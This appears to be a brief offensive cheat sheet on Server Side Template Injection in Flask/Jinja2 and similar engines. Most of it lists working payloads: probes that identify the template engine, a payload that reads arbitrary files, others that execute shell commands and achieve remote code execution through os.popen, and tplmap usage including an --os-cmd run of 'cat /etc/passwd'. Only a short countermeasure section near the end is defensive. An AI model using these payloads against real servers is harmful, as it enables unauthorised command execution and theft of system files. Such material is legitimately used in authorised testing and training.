1.2 KiB
1.2 KiB
Server Side Template Injection (SSTI)
Pass in parameters to control the template.
Usage
- Sanity test
{{2+2}}
- Flask template LFI
{{ ''.__class__.__mro__[2].__subclasses__()[40]()(<file>).read()}}
- Executing commands
{{ ''.__class__.__mro__[1].__subclasses__()[401]("whoami", shell=True, stdout=-1).communicate() }}
- RCE on server
{{config.__class__.__init__.__globals__['os'].popen(<command>).read()}}
Identification of Template Engine
Identify via payload checking
- Smarty:
a{*comment*}b
- Mako:
${"z".join("ab")}
- Twig or Jinja2
{{7*7}}
{{7*'7'}}
Tools
TPlmap
git clone https://github.com/epinna/tplmap.git
pip2 install -r requirements
HTTP Method | Parameter |
---|---|
GET | tplmap -u <url>/?<vulnparam> |
POST | tplmap -u <url> -d '<vulnparam>' |
- Using remote command
tplmap -u http://<ip>:<port>/ -d '<vulnparam>' --os-cmd "cat /etc/passwd"
Countermeasure
- Remove everything in user input but alnum. Passing data, not data to f-string.
input = re.sub("[^A-Za-z0-9]", "", input)
template = "User input is {{ input }}"
return render_template_string(template, input=input)